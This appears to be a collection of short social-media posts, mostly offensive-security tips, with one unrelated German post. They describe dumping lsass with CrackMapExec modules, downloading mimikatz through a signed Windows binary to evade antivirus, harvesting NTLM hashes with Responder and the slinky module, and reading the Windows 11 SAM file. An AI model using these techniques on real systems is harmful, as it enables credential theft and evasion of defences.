Did you know that it is possible to read memory using a PROCESS_CREATE_PROCESS handle? Just call NtCreateProcessEx to clone the target process (and its entire address space), and then read anything you want from there.😎

Lately, two new tools for dumping the lsass process have come up: HandleKatz and nanodump 👀 I've integrated them to CrackMapExec as module: 1⃣ -M handlekatz 2⃣ -M nanodump 3⃣ -M procdump (as bonus 😝) (dmp parsed by pypykatz from @SkelSec ) Available on @porchetta_ind 🪂

Threema does not have forward secrecy (soatok.blog/2021/11/05/thr…) and local keys are stored insecurely. DROPPED from tiny.cc/thcstfu. Stay safe. #privacy #COP26

Need to go under the radar downloading #mimikatz (and other suspect payloads)? Then newly discovered #lolbin "C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you. It's like a new certutil.exe but absolutely unheard of by any antivirus software!

In case you want to see something cool about CrackMapExec and Responder 😌😋 1⃣ cme smb <ip> -u user -p pass --shares 2⃣ Responder -I eth0 3⃣ cme smb <ip> -u user -p pass -M slinky -o ... Harvest ntlmv2/v1 credentials in no time if you have write access to a share 🔥 🪂

Erst ein krasses Tabu – und irgendwann empört sich keiner mehr. Dafür gibt's einen einfachen Trick. Aus aktuellem Anlass.

yarh- for some reason on win11 the SAM file now is READ for users. So if you have shadowvolumes enabled you can read the sam file like this: I dont know the full extent of the issue yet, but its too many to not be a problem I think.
